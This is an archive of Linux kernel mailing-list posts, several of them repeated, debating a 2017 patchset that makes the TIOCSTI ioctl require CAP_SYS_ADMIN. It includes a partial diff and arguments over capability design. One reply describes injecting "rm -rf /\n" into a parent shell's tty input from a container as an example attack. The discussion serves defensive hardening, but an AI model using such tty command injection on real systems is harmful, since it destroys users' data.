>>  | the past.  Even without these vulnerabilities, it provides an
>>  | attacker with an easy mechanism to move laterally among other
>>  | processes within the same user's compromised session.
>>
>> So if one process within a tty session becomes compromised it can follow
>> that additional processes, that are thought to be in different security
>> boundaries, can be compromised as a result. When using a program like su
>> or sudo, these additional processes could be in a tty session where TTY file
>> descriptors are indeed shared over privilege boundaries.
>>
>> This is also an excellent writeup about the issue:
>> <http://www.halfdog.net/Security/2012/TtyPushbackPrivilegeEscalation/>
>>
>> When user namespaces are in use, the check for the capability
>> CAP_SYS_ADMIN is done against the user namespace that originally opened
>> the tty.
>>
>> Acked-by: Serge Hallyn <se...@hallyn.com>
>> Reviewed-by: Kees Cook <keesc...@chromium.org>
>> Signed-off-by: Matt Brown <m...@nmatt.com>
>> ---
>>  Documentation/sysctl/kernel.txt | 21 +
>>  drivers/tty/tty_io.c|  6 ++
>>  include/linux/tty.h |  2 ++
>>  kernel/sysctl.c | 12 
>>  security/Kconfig| 13 +
>>  5 files changed, 54 insertions(+)
>>
>> diff --git a/Documentation/sysctl/kernel.txt 
>> b/Documentation/sysctl/kernel.txt
>> index bac23c1..f7985cf 100644
>> --- a/Documentation/sysctl/kernel.txt
>> +++ b/Documentation/sysctl/kernel.txt
>> @@ -89,6 +89,7 @@ show up in /proc/sys/kernel:
>>  - sysctl_writes_strict
>>  - tainted
>>  - threads-max
>> +- tiocsti_restrict
>>  - unknown_nmi_panic
>>  - watchdog
>>  - watchdog_thresh
>> @@ -987,6 +988,26 @@ available RAM pages threads-max is reduced accordingly.
>>  
>>  ==
>>  
>> +tiocsti_restrict:
>> +
>> +This toggle indicates whether unprivileged users are prevented
>> +from using the TIOCSTI ioctl to inject commands into other processes
>> +which share a tty session.
>> +
>> +When tiocsti_restrict is set to (0) there are no restrictions(accept
>> +the default restriction of only being able to injection commands into
>> +one's own tty). When tiocsti_restrict is set to (1), users must
>> +have CAP_SYS_ADMIN to use the TIOCSTI ioctl.
>> +
>> +When user namespaces are in use, the check for the capability
>> +CAP_SYS_ADMIN is done against the user namespace that originally
>> +opened the tty.
>> +
>> +The kernel config option CONFIG_SECURITY_TIOCSTI_RESTRICT sets the
>> +default value of tiocsti_restrict.
>> +
>> +==
>> +
>>  unknown_nmi_panic:
>>  
>>  The value in this file affects behavior of handling NMI. When the
>> diff --git a/drivers/tty/tty_io.c b/drivers/tty/tty_io.c
>>

Re: [PATCH v6 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 5/18/17 9:31 AM, Greg KH wrote:
> On Fri, May 05, 2017 at 07:20:18PM -0400, Matt Brown wrote:
>> This introduces the tiocsti_restrict sysctl, whose default is controlled via
>> CONFIG_SECURITY_TIOCSTI_RESTRICT. When activated, this control restricts
>> all TIOCSTI ioctl calls from non CAP_SYS_ADMIN users.
>>
>> This patch depends on patch 1/2
>>
>> This patch was inspired from GRKERNSEC_HARDEN_TTY.
>>
>> This patch would have prevented
>> https://bugzilla.redhat.com/show_bug.cgi?id=1411256 under the following
>> conditions:
>> * non-privileged container
>> * container run inside new user namespace
>>
>> Possible effects on userland:
>>
>> There could be a few user programs that would be effected by this
>> change.
>> See: <https://codesearch.debian.net/search?q=ioctl%5C%28.*TIOCSTI>
>> notable programs are: agetty, csh, xemacs and tcsh
>>
>> However, I still believe that this change is worth it given that the
>> Kconfig defaults to n. This will be a feature that is turned on for the
>> same reason that people activate it when using grsecurity. Users of this
>> opt-in feature will realize that they are choosing security over some OS
>> features like unprivileged TIOCSTI ioctls, as should be clear in the
>> Kconfig help message.
>>
>> Threat Model/Patch Rational:
>>
>> >From grsecurity's config for GRKERNSEC_HARDEN_TTY.
>>
>>  | There are very few legitimate uses for this functionality and it
>>  | has made vulnerabilities in several 'su'-like programs possible in
>>  | the past.  Even without these vulnerabilities, it provides an
>>  | attacker with an easy mechanism to move laterally among other
>>  | processes within the same user's compromised session.
>>
>> So if one process within a tty session becomes compromised it can follow
>> that additional processes, that are thought to be in different security
>> boundaries, can be compromised as a result. When using a program like su
>> or sudo, these additional processes could be in a tty session where TTY file
>> descriptors are indeed shared over privilege boundaries.
>>
>> This is also an excellent writeup about the issue:
>> <http://www.halfdog.net/Security/2012/TtyPushbackPrivilegeEscalation/>
>>
>> When user namespaces are in use, the check for the capability
>> CAP_SYS_ADMIN is done against the user namespace that originally opened
>> the tty.
>>
>> Acked-by: Serge Hallyn 
>> Reviewed-by: Kees Cook 
>> Signed-off-by: Matt Brown 
>> ---
>>  Documentation/sysctl/kernel.txt | 21 +
>>  drivers/tty/tty_io.c|  6 ++
>>  include/linux/tty.h |  2 ++
>>  kernel/sysctl.c | 12 
>>  security/Kconfig| 13 +
>>  5 files changed, 54 insertions(+)
>>
>> diff --git a/Documentation/sysctl/kernel.txt 
>> b/Documentation/sysctl/kernel.txt
>> index bac23c1..f7985cf 100644
>> --- a/Documentation/sysctl/kernel.txt
>> +++ b/Documentation/sysctl/kernel.txt
>> @@ -89,6 +89,7 @@ show up in /proc/sys/kernel:
>>  - sysctl_writes_strict
>>  - tainted
>>  - threads-max
>> +- tiocsti_restrict
>>  - unknown_nmi_panic
>>  - watchdog
>>  - watchdog_thresh
>> @@ -987,6 +988,26 @@ available RAM pages threads-max is reduced accordingly.
>>  
>>  ==
>>  
>> +tiocsti_restrict:
>> +
>> +This toggle indicates whether unprivileged users are prevented
>> +from using the TIOCSTI ioctl to inject commands into other processes
>> +which share a tty session.
>> +
>> +When tiocsti_restrict is set to (0) there are no restrictions(accept
>> +the default restriction of only being able to injection commands into
>> +one's own tty). When tiocsti_restrict is set to (1), users must
>> +have CAP_SYS_ADMIN to use the TIOCSTI ioctl.
>> +
>> +When user namespaces are in use, the check for the capability
>> +CAP_SYS_ADMIN is done against the user namespace that originally
>> +opened the tty.
>> +
>> +The kernel config option CONFIG_SECURITY_TIOCSTI_RESTRICT sets the
>> +default value of tiocsti_restrict.
>> +
>> +==
>> +
>>  unknown_nmi_panic:
>>  
>>  The value in this file affects behavior of handling NMI. When the
>> diff --git a/drivers/tty/tty_io.c b/drivers/tty/tty_io.c
>> index c276814..fe68d14 100644
>> --- a/drivers/tty/tty_io.c
>> +++ b

Re: [PATCH v6 0/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 05/16/2017 05:43 PM, Peter Dolding wrote:

On Wed, May 17, 2017 at 12:28 AM, Kees Cook <keesc...@chromium.org> wrote:

On Tue, May 16, 2017 at 5:22 AM, Matt Brown <m...@nmatt.com> wrote:

On 05/16/2017 05:01 AM, Peter Dolding wrote:



I could see a case being make for CAP_SYS_TTY_CONFIG. However I still
choose to do with CAP_SYS_ADMIN because it is already in use in the
TIOCSTI ioctl.


Matt Brown don't give me existing behaviour.CAP_SYS_ADMIN is
overload.   The documentation tells you that you are not to expand it
and you openly admit you have.



This is not true that I'm openly going against what the documentation
instructs. The part of the email chain where I show this got removed
somehow. Again I will refer to the capabilities man page that you
quoted.

From http://man7.org/linux/man-pages/man7/capabilities.7.html

"Don't choose CAP_SYS_ADMIN if you can possibly avoid it!
...
The only new features that should be associated with CAP_SYS_ADMIN are
ones that closely match existing uses in that silo."

My feature affects the TIOCSTI ioctl. The TIOCSTI ioctl already falls
under CAP_SYS_ADMIN, therefore I actually *am* following the
documentation.


CAP_SYS_ADMIN is the right choice here, I agree with Matt: it is
already in use for TIOCSTI. We can't trivially add new capabilities
flags (see the various giant threads debating this, the most recently
that I remember from the kernel lock-down series related to Secure
Boot).


We cannot just keep on expanding CAP_SYS_ADMIN either.



I fact this usage of TIOCSTI I personally think should require two
capabilities flags set.   CAP_SYS_ADMIN section left as it is at this
stage.   With TIOSCTI stuck behind another capability.

If you had added a new capability flag you could set file capabilities
on any of the old applications depending on the now secured behaviour.


If we're adjusting applications, they should be made to avoid TIOSCTI
completely. This looks to me a lot like the symlink restrictions: yes,
userspace should be fixed to the do the right thing, but why not
provide support to userspace to avoid the problem entirely?


Kees I like but you have forgot the all important rule.   The Linus
Rule.Existing applications must  have a method work.
  So modify applications  binary is not way out of problem.

Please note making CAP_SYS_ADMIN the only way to use TIOCSTI also
means setting CAP_SYS_ADMIN on all the existing applications to obey
the Linus Rule of not break userspace.   So this is why the patch is
strictly no as this means elevating privilege of existing applications
and possibly opening up more security flaws.


This feature is not required so it is not "making CAP_SYS_ADMIN the
only way to use TIOCSTI". It defaults to no as to not break some
existing programs that use it.



Reality any patch like the one we are talking about due to the Linus
Rule and the security risk it will open up obey this it just be
rejected.   There is another kind of way I will cover with Serge.

Peter Dolding.



Matt

Re: [PATCH v6 0/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 05/16/2017 05:43 PM, Peter Dolding wrote:

On Wed, May 17, 2017 at 12:28 AM, Kees Cook  wrote:

On Tue, May 16, 2017 at 5:22 AM, Matt Brown  wrote:

On 05/16/2017 05:01 AM, Peter Dolding wrote:



I could see a case being make for CAP_SYS_TTY_CONFIG. However I still
choose to do with CAP_SYS_ADMIN because it is already in use in the
TIOCSTI ioctl.


Matt Brown don't give me existing behaviour.CAP_SYS_ADMIN is
overload.   The documentation tells you that you are not to expand it
and you openly admit you have.



This is not true that I'm openly going against what the documentation
instructs. The part of the email chain where I show this got removed
somehow. Again I will refer to the capabilities man page that you
quoted.

From http://man7.org/linux/man-pages/man7/capabilities.7.html

"Don't choose CAP_SYS_ADMIN if you can possibly avoid it!
...
The only new features that should be associated with CAP_SYS_ADMIN are
ones that closely match existing uses in that silo."

My feature affects the TIOCSTI ioctl. The TIOCSTI ioctl already falls
under CAP_SYS_ADMIN, therefore I actually *am* following the
documentation.


CAP_SYS_ADMIN is the right choice here, I agree with Matt: it is
already in use for TIOCSTI. We can't trivially add new capabilities
flags (see the various giant threads debating this, the most recently
that I remember from the kernel lock-down series related to Secure
Boot).


We cannot just keep on expanding CAP_SYS_ADMIN either.



I fact this usage of TIOCSTI I personally think should require two
capabilities flags set.   CAP_SYS_ADMIN section left as it is at this
stage.   With TIOSCTI stuck behind another capability.

If you had added a new capability flag you could set file capabilities
on any of the old applications depending on the now secured behaviour.


If we're adjusting applications, they should be made to avoid TIOSCTI
completely. This looks to me a lot like the symlink restrictions: yes,
userspace should be fixed to the do the right thing, but why not
provide support to userspace to avoid the problem entirely?


Kees I like but you have forgot the all important rule.   The Linus
Rule.Existing applications must  have a method work.
  So modify applications  binary is not way out of problem.

Please note making CAP_SYS_ADMIN the only way to use TIOCSTI also
means setting CAP_SYS_ADMIN on all the existing applications to obey
the Linus Rule of not break userspace.   So this is why the patch is
strictly no as this means elevating privilege of existing applications
and possibly opening up more security flaws.


This feature is not required so it is not "making CAP_SYS_ADMIN the
only way to use TIOCSTI". It defaults to no as to not break some
existing programs that use it.



Reality any patch like the one we are talking about due to the Linus
Rule and the security risk it will open up obey this it just be
rejected.   There is another kind of way I will cover with Serge.

Peter Dolding.



Matt

Re: [PATCH v6 0/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 05/16/2017 05:01 AM, Peter Dolding wrote:


I could see a case being make for CAP_SYS_TTY_CONFIG. However I still
choose to do with CAP_SYS_ADMIN because it is already in use in the
TIOCSTI ioctl.


Matt Brown don't give me existing behaviour.CAP_SYS_ADMIN is
overload.   The documentation tells you that you are not to expand it
and you openly admit you have.



This is not true that I'm openly going against what the documentation
instructs. The part of the email chain where I show this got removed
somehow. Again I will refer to the capabilities man page that you
quoted.

From http://man7.org/linux/man-pages/man7/capabilities.7.html

"Don't choose CAP_SYS_ADMIN if you can possibly avoid it!
...
The only new features that should be associated with CAP_SYS_ADMIN are
ones that closely match existing uses in that silo."

My feature affects the TIOCSTI ioctl. The TIOCSTI ioctl already falls
under CAP_SYS_ADMIN, therefore I actually *am* following the
documentation.


Does anything of TIOSCTI functionally say that it really should be in
CAP_SYS_ADMIN.

If functionality is going to cause security for containers maybe it
should be not in CAP_SYS_ADMIN but in its own capability that can
enabled on file by file base.



You might be right that CAP_SYS_ADMIN is overloaded, but my patch
barely adds anything to it since TIOCSTI already falls under its
control. It seems extreme to say this patch ought to be rejected just
because it contains CAP_SYS_ADMIN. If we want to fix the state of Linux
capabilities, then I suggest that should be a separate patchset to
reorganize them into a more modular set of controls.


We have end up with CAP_SYS_ADMIN a mess by the of a death by a
thousand cuts.   Each person to extend CAP_SYS_ADMIN to it current
mess said the same thing.   My patch barely added anything times that
by a few thousand and you end up with what we have today.   At some
point no more has to be said.

There is no point attempting to tidy it up of the rules are not put in
place so it does not turn into a mess again.

This is not something that is suitable to be done as one large
patchset.   This is better done in the same kind of method that made
it.  So every time people want to alter something associated with
CAP_SYS_ADMIN it has to get assessed and the patch has to be one that
partly corrects the existing mess.Do this enough times and we will
no longer have a mess on CAP_SYS_ADMIN.

https://www.freedesktop.org/software/systemd/man/systemd.exec.html
Please note the CapabilityBoundingSet=

Your current patch adds no extra controls for me running a service
under systemd or anything else like it to say I don't want the
processes having the means to-do this even that they are running with
CAP_SYS_ADMIN to perform other tasks..

--employ the TIOCSTI ioctl(2) to insert characters into the input
queue of a terminal other than the caller's controlling terminal;--
This currently under CAP_SYS_ADMIN is vastly more powerful than the
one you are attempt to take away with your patch.  This one can send
messages into other terminals.   This is a vastly more powerful
version of TIOSCTI.

I fact this usage of TIOCSTI I personally think should require two
capabilities flags set.   CAP_SYS_ADMIN section left as it is at this
stage.   With TIOSCTI stuck behind another capability.

If you had added a new capability flag you could set file capabilities
on any of the old applications depending on the now secured behaviour.

https://github.com/lxc/lxc/commit/e986ea3dfa4a2957f71ae9bfaed406dd6e16

Also the general user TIOCSTI issue can be handled a different way as
LXC fix shows.  Where they uses a pty to isolate so meaning in their
fixed setup user TIOSCTI was not harmful but CAP_SYS_ADMIN TIOSCTI
still could be.  You patch as not address this problem because you
shoved everything under CAP_SYS_ADMIN.   But if you add different
capability to use TIOSCIT that is not CAP_SYS_ADMIN  to allow
CAP_SYS_ADMiN TIOSCTI functionality to be disabled.

This is what you see more often than not when you dig into this
patches adding more CAP_SYS_ADMIN.  Adding CAP_SYS_ADMIN is not fixing
a problem in most cases.   Breaking CAP_SYS_ADMIN functionality up
should be the goal not expand it.

Basically you have done something documentation has a note to
developer not to-do.   If you start looking at the problem what you
doing is not helping.   If people end up using CAP_SYS_ADMIN to access
TIOSCTI its giving the program a more powerful version of TIOSCTI to
do more harm with so reduced containment.  Totally anti to what you
are meant to be doing with capabilities..

Re: [PATCH v6 0/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 05/16/2017 05:01 AM, Peter Dolding wrote:


I could see a case being make for CAP_SYS_TTY_CONFIG. However I still
choose to do with CAP_SYS_ADMIN because it is already in use in the
TIOCSTI ioctl.


Matt Brown don't give me existing behaviour.CAP_SYS_ADMIN is
overload.   The documentation tells you that you are not to expand it
and you openly admit you have.



This is not true that I'm openly going against what the documentation
instructs. The part of the email chain where I show this got removed
somehow. Again I will refer to the capabilities man page that you
quoted.

From http://man7.org/linux/man-pages/man7/capabilities.7.html

"Don't choose CAP_SYS_ADMIN if you can possibly avoid it!
...
The only new features that should be associated with CAP_SYS_ADMIN are
ones that closely match existing uses in that silo."

My feature affects the TIOCSTI ioctl. The TIOCSTI ioctl already falls
under CAP_SYS_ADMIN, therefore I actually *am* following the
documentation.


Does anything of TIOSCTI functionally say that it really should be in
CAP_SYS_ADMIN.

If functionality is going to cause security for containers maybe it
should be not in CAP_SYS_ADMIN but in its own capability that can
enabled on file by file base.



You might be right that CAP_SYS_ADMIN is overloaded, but my patch
barely adds anything to it since TIOCSTI already falls under its
control. It seems extreme to say this patch ought to be rejected just
because it contains CAP_SYS_ADMIN. If we want to fix the state of Linux
capabilities, then I suggest that should be a separate patchset to
reorganize them into a more modular set of controls.


We have end up with CAP_SYS_ADMIN a mess by the of a death by a
thousand cuts.   Each person to extend CAP_SYS_ADMIN to it current
mess said the same thing.   My patch barely added anything times that
by a few thousand and you end up with what we have today.   At some
point no more has to be said.

There is no point attempting to tidy it up of the rules are not put in
place so it does not turn into a mess again.

This is not something that is suitable to be done as one large
patchset.   This is better done in the same kind of method that made
it.  So every time people want to alter something associated with
CAP_SYS_ADMIN it has to get assessed and the patch has to be one that
partly corrects the existing mess.Do this enough times and we will
no longer have a mess on CAP_SYS_ADMIN.

https://www.freedesktop.org/software/systemd/man/systemd.exec.html
Please note the CapabilityBoundingSet=

Your current patch adds no extra controls for me running a service
under systemd or anything else like it to say I don't want the
processes having the means to-do this even that they are running with
CAP_SYS_ADMIN to perform other tasks..

--employ the TIOCSTI ioctl(2) to insert characters into the input
queue of a terminal other than the caller's controlling terminal;--
This currently under CAP_SYS_ADMIN is vastly more powerful than the
one you are attempt to take away with your patch.  This one can send
messages into other terminals.   This is a vastly more powerful
version of TIOSCTI.

I fact this usage of TIOCSTI I personally think should require two
capabilities flags set.   CAP_SYS_ADMIN section left as it is at this
stage.   With TIOSCTI stuck behind another capability.

If you had added a new capability flag you could set file capabilities
on any of the old applications depending on the now secured behaviour.

https://github.com/lxc/lxc/commit/e986ea3dfa4a2957f71ae9bfaed406dd6e16

Also the general user TIOCSTI issue can be handled a different way as
LXC fix shows.  Where they uses a pty to isolate so meaning in their
fixed setup user TIOSCTI was not harmful but CAP_SYS_ADMIN TIOSCTI
still could be.  You patch as not address this problem because you
shoved everything under CAP_SYS_ADMIN.   But if you add different
capability to use TIOSCIT that is not CAP_SYS_ADMIN  to allow
CAP_SYS_ADMiN TIOSCTI functionality to be disabled.

This is what you see more often than not when you dig into this
patches adding more CAP_SYS_ADMIN.  Adding CAP_SYS_ADMIN is not fixing
a problem in most cases.   Breaking CAP_SYS_ADMIN functionality up
should be the goal not expand it.

Basically you have done something documentation has a note to
developer not to-do.   If you start looking at the problem what you
doing is not helping.   If people end up using CAP_SYS_ADMIN to access
TIOSCTI its giving the program a more powerful version of TIOSCTI to
do more harm with so reduced containment.  Totally anti to what you
are meant to be doing with capabilities..

Re: [PATCH v6 0/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 05/15/2017 07:10 PM, Peter Dolding wrote:

On Tue, May 16, 2017 at 6:57 AM, Alan Cox  wrote:

O> I'm not implying that my patch is supposed to provide safety for

"hundreds of other" issues. I'm looking to provide a way to lock down a
single TTY ioctl that has caused real security issues to arise. For


In other words you are not actually fixing anything.


this reason, it's completely incorrect to say that this feature is
snake oil. My patch does exactly what it claims to do. No more no less.


In addition your change to allow it to be used by root in the guest
completely invalidates any protection you have because I can push

"rm -rf /\n"

as root in my namespace and exit

The tty buffers are not flushed across the context change so the shell
you return to gets the input and oh dear


This is precisely what my patch prevents! With my protection enabled, a
container will only be able to use the TIOCSTI ioctl on a tty if that
container has CAP_SYS_ADMIN in the user namespace in which the tty was
created.


Which is not necessarily the namespace of the process that next issues a
read().

This is snake oil. There is a correct and proper process for this use
case. That proper process is to create a new pty/tty pair. There are two
cases

- processes that do it right in which case the attacker is screwed and we
  don't need to mess up TIOCSTI handling for no reason.

- processes that do it wrong. If they do it wrong then they'll also use
  all the other holes and attacks available via the same path which are
  completely unfixable without making your system basically unusable.


So can we please apply the minimum of common sense reasoning to this and
drop the patch.

Alan

You missed some important.

From: http://man7.org/linux/man-pages/man7/capabilities.7.html
Don't choose CAP_SYS_ADMIN if you can possibly avoid it!
A vast  proportion of existing capability checks are associated with this
capability (see the partial list above).  It can plausibly be
called "the new root", since on the one hand, it confers a wide
range of powers, and on the other hand, its broad scope means that
 this is the capability that is required by many privileged
programs.  Don't make the problem worse.  The only new features
that should be associated with CAP_SYS_ADMIN are ones that closely
match existing uses in that silo.



That last sentence is the key. CAP_SYS_ADMIN is already associated with
the TIOCSTI ioctl!

From the same capabilities man page you quote above
under the CAP_SYS_ADMIN section:
employ the TIOCSTI ioctl(2) to insert characters into the input queue
of a terminal other than the caller's controlling terminal;


This not only a improper fix the attempted fix is breach do
documentation.   CAP_SYS_ADMIN is that far overloaded it does not
require any more thrown in it direction.



See my comment above. This is clearly following the capabilities
documentation since CAP_SYS_ADMIN is already closely linked with the
TIOCSTI ioctl.


This is one of the grsecurity patches mistakes.   GRKERNSEC_HARDEN_TTY
 is from 18 Feb 2016 this documentation as in place at the time they
wrote this.  Yes GRKERNSEC_HARDEN_TTY does exactly the same thing.
Yes Grsecurity guys did the same error and the grsecurity patches are
filled with this error.

The result is from the TIOCSTI patch done this way is you have to use
CAP_SYS_ADMIN to use TIOSCTI so opening up every exploit that
Grsecurity has added and every exploit CAP_SYS_ADMIN can do what is
quite a few.

Now I don't know if CAP_SYS_TTY_CONFIG what is an existing capability
might be what TIOCSTI should own under.



I could see a case being make for CAP_SYS_TTY_CONFIG. However I still
choose to do with CAP_SYS_ADMIN because it is already in use in the
TIOCSTI ioctl.


The reality here is CAP_SYS_ADMIN as become the Linux kernel security
equal what big kernel lock was for multi threading.

 In a ideal world CAP_SYS_ADMIN would not be used directly in most
cases.  Instead CAP_SYS_ADMIN would have a stack of sub capabilities
groups under it.

The excuse for doing it wrong grsecurity is
https://forums.grsecurity.net/viewtopic.php?f=7=2522

Yes most capabilities open up possibility of exploiting the system.
They are not in fact designed to prevent this.   They are designed to
limit the damage in case of malfunction so that a program/user has
only limited methods of damaging the system.  Like a program
malfunctioning with only limit capabilities if it does an action those
capabilities don't allow no damage will happen.   Now CAP_SYS_ADMIN is
for sure not limited.

But since grsecurity developers took the point of view these are False
Boundaries they then proceed to stack item after item under
CAP_SYS_ADMIN because the boundary made no sense to them.Also some
mainline Linux Kernel developers are guilty of the same sin of
overloading CAP_SYS_ADMIN.

From my point of view any new patching containing CAP_SYS_ADMIN
directly used should be bounced just for 

Re: [PATCH v6 0/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 05/15/2017 07:10 PM, Peter Dolding wrote:

On Tue, May 16, 2017 at 6:57 AM, Alan Cox  wrote:

O> I'm not implying that my patch is supposed to provide safety for

"hundreds of other" issues. I'm looking to provide a way to lock down a
single TTY ioctl that has caused real security issues to arise. For


In other words you are not actually fixing anything.


this reason, it's completely incorrect to say that this feature is
snake oil. My patch does exactly what it claims to do. No more no less.


In addition your change to allow it to be used by root in the guest
completely invalidates any protection you have because I can push

"rm -rf /\n"

as root in my namespace and exit

The tty buffers are not flushed across the context change so the shell
you return to gets the input and oh dear


This is precisely what my patch prevents! With my protection enabled, a
container will only be able to use the TIOCSTI ioctl on a tty if that
container has CAP_SYS_ADMIN in the user namespace in which the tty was
created.


Which is not necessarily the namespace of the process that next issues a
read().

This is snake oil. There is a correct and proper process for this use
case. That proper process is to create a new pty/tty pair. There are two
cases

- processes that do it right in which case the attacker is screwed and we
  don't need to mess up TIOCSTI handling for no reason.

- processes that do it wrong. If they do it wrong then they'll also use
  all the other holes and attacks available via the same path which are
  completely unfixable without making your system basically unusable.


So can we please apply the minimum of common sense reasoning to this and
drop the patch.

Alan

You missed some important.

From: http://man7.org/linux/man-pages/man7/capabilities.7.html
Don't choose CAP_SYS_ADMIN if you can possibly avoid it!
A vast  proportion of existing capability checks are associated with this
capability (see the partial list above).  It can plausibly be
called "the new root", since on the one hand, it confers a wide
range of powers, and on the other hand, its broad scope means that
 this is the capability that is required by many privileged
programs.  Don't make the problem worse.  The only new features
that should be associated with CAP_SYS_ADMIN are ones that closely
match existing uses in that silo.



That last sentence is the key. CAP_SYS_ADMIN is already associated with
the TIOCSTI ioctl!

From the same capabilities man page you quote above
under the CAP_SYS_ADMIN section:
employ the TIOCSTI ioctl(2) to insert characters into the input queue
of a terminal other than the caller's controlling terminal;


This not only a improper fix the attempted fix is breach do
documentation.   CAP_SYS_ADMIN is that far overloaded it does not
require any more thrown in it direction.



See my comment above. This is clearly following the capabilities
documentation since CAP_SYS_ADMIN is already closely linked with the
TIOCSTI ioctl.


This is one of the grsecurity patches mistakes.   GRKERNSEC_HARDEN_TTY
 is from 18 Feb 2016 this documentation as in place at the time they
wrote this.  Yes GRKERNSEC_HARDEN_TTY does exactly the same thing.
Yes Grsecurity guys did the same error and the grsecurity patches are
filled with this error.

The result is from the TIOCSTI patch done this way is you have to use
CAP_SYS_ADMIN to use TIOSCTI so opening up every exploit that
Grsecurity has added and every exploit CAP_SYS_ADMIN can do what is
quite a few.

Now I don't know if CAP_SYS_TTY_CONFIG what is an existing capability
might be what TIOCSTI should own under.



I could see a case being make for CAP_SYS_TTY_CONFIG. However I still
choose to do with CAP_SYS_ADMIN because it is already in use in the
TIOCSTI ioctl.


The reality here is CAP_SYS_ADMIN as become the Linux kernel security
equal what big kernel lock was for multi threading.

 In a ideal world CAP_SYS_ADMIN would not be used directly in most
cases.  Instead CAP_SYS_ADMIN would have a stack of sub capabilities
groups under it.

The excuse for doing it wrong grsecurity is
https://forums.grsecurity.net/viewtopic.php?f=7=2522

Yes most capabilities open up possibility of exploiting the system.
They are not in fact designed to prevent this.   They are designed to
limit the damage in case of malfunction so that a program/user has
only limited methods of damaging the system.  Like a program
malfunctioning with only limit capabilities if it does an action those
capabilities don't allow no damage will happen.   Now CAP_SYS_ADMIN is
for sure not limited.

But since grsecurity developers took the point of view these are False
Boundaries they then proceed to stack item after item under
CAP_SYS_ADMIN because the boundary made no sense to them.Also some
mainline Linux Kernel developers are guilty of the same sin of
overloading CAP_SYS_ADMIN.

From my point of view any new patching containing CAP_SYS_ADMIN
directly used should be bounced just for that.   If features need to
be 

Re: [PATCH v6 0/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 05/10/2017 04:29 PM, Alan Cox wrote:

On Fri,  5 May 2017 19:20:16 -0400
Matt Brown <m...@nmatt.com> wrote:


This patchset introduces the tiocsti_restrict sysctl, whose default is
controlled via CONFIG_SECURITY_TIOCSTI_RESTRICT. When activated, this
control restricts all TIOCSTI ioctl calls from non CAP_SYS_ADMIN users.

This patch was inspired from GRKERNSEC_HARDEN_TTY.

This patch would have prevented
https://bugzilla.redhat.com/show_bug.cgi?id=1411256 under the following
conditions:
* non-privileged container
* container run inside new user namespace

Possible effects on userland:

There could be a few user programs that would be effected by this
change.
See: <https://codesearch.debian.net/search?q=ioctl%5C%28.*TIOCSTI>
notable programs are: agetty, csh, xemacs and tcsh

However, I still believe that this change is worth it given that the
Kconfig defaults to n.


And it still doesn't deal with the fact that there are hundreds of other
ways to annoy the owner of a tty if it's passed to a lower privilege
child from framebuffer reprogramming through keyboard remaps.

The proper way to handle those cases is to create a pty/tty pair and use
that. Your patch is pure snake oil and if anything implies safety that
doesn't exist.



I'm not implying that my patch is supposed to provide safety for
"hundreds of other" issues. I'm looking to provide a way to lock down a
single TTY ioctl that has caused real security issues to arise. For
this reason, it's completely incorrect to say that this feature is
snake oil. My patch does exactly what it claims to do. No more no less.


In addition your change to allow it to be used by root in the guest
completely invalidates any protection you have because I can push

"rm -rf /\n"

as root in my namespace and exit

The tty buffers are not flushed across the context change so the shell
you return to gets the input and oh dear


This is precisely what my patch prevents! With my protection enabled, a
container will only be able to use the TIOCSTI ioctl on a tty if that
container has CAP_SYS_ADMIN in the user namespace in which the tty was
created.



Alan

Re: [PATCH v6 0/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 05/10/2017 04:29 PM, Alan Cox wrote:

On Fri,  5 May 2017 19:20:16 -0400
Matt Brown  wrote:


This patchset introduces the tiocsti_restrict sysctl, whose default is
controlled via CONFIG_SECURITY_TIOCSTI_RESTRICT. When activated, this
control restricts all TIOCSTI ioctl calls from non CAP_SYS_ADMIN users.

This patch was inspired from GRKERNSEC_HARDEN_TTY.

This patch would have prevented
https://bugzilla.redhat.com/show_bug.cgi?id=1411256 under the following
conditions:
* non-privileged container
* container run inside new user namespace

Possible effects on userland:

There could be a few user programs that would be effected by this
change.
See: <https://codesearch.debian.net/search?q=ioctl%5C%28.*TIOCSTI>
notable programs are: agetty, csh, xemacs and tcsh

However, I still believe that this change is worth it given that the
Kconfig defaults to n.


And it still doesn't deal with the fact that there are hundreds of other
ways to annoy the owner of a tty if it's passed to a lower privilege
child from framebuffer reprogramming through keyboard remaps.

The proper way to handle those cases is to create a pty/tty pair and use
that. Your patch is pure snake oil and if anything implies safety that
doesn't exist.



I'm not implying that my patch is supposed to provide safety for
"hundreds of other" issues. I'm looking to provide a way to lock down a
single TTY ioctl that has caused real security issues to arise. For
this reason, it's completely incorrect to say that this feature is
snake oil. My patch does exactly what it claims to do. No more no less.


In addition your change to allow it to be used by root in the guest
completely invalidates any protection you have because I can push

"rm -rf /\n"

as root in my namespace and exit

The tty buffers are not flushed across the context change so the shell
you return to gets the input and oh dear


This is precisely what my patch prevents! With my protection enabled, a
container will only be able to use the TIOCSTI ioctl on a tty if that
container has CAP_SYS_ADMIN in the user namespace in which the tty was
created.



Alan

[PATCH v6 0/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

This patchset introduces the tiocsti_restrict sysctl, whose default is
controlled via CONFIG_SECURITY_TIOCSTI_RESTRICT. When activated, this
control restricts all TIOCSTI ioctl calls from non CAP_SYS_ADMIN users.

This patch was inspired from GRKERNSEC_HARDEN_TTY.

This patch would have prevented
https://bugzilla.redhat.com/show_bug.cgi?id=1411256 under the following
conditions:
* non-privileged container
* container run inside new user namespace

Possible effects on userland:

There could be a few user programs that would be effected by this
change.
See: 
notable programs are: agetty, csh, xemacs and tcsh

However, I still believe that this change is worth it given that the
Kconfig defaults to n. This will be a feature that is turned on for the
same reason that people activate it when using grsecurity. Users of this
opt-in feature will realize that they are choosing security over some OS
features like unprivileged TIOCSTI ioctls, as should be clear in the
Kconfig help message.

Threat Model/Patch Rational:

>From grsecurity's config for GRKERNSEC_HARDEN_TTY.

 | There are very few legitimate uses for this functionality and it
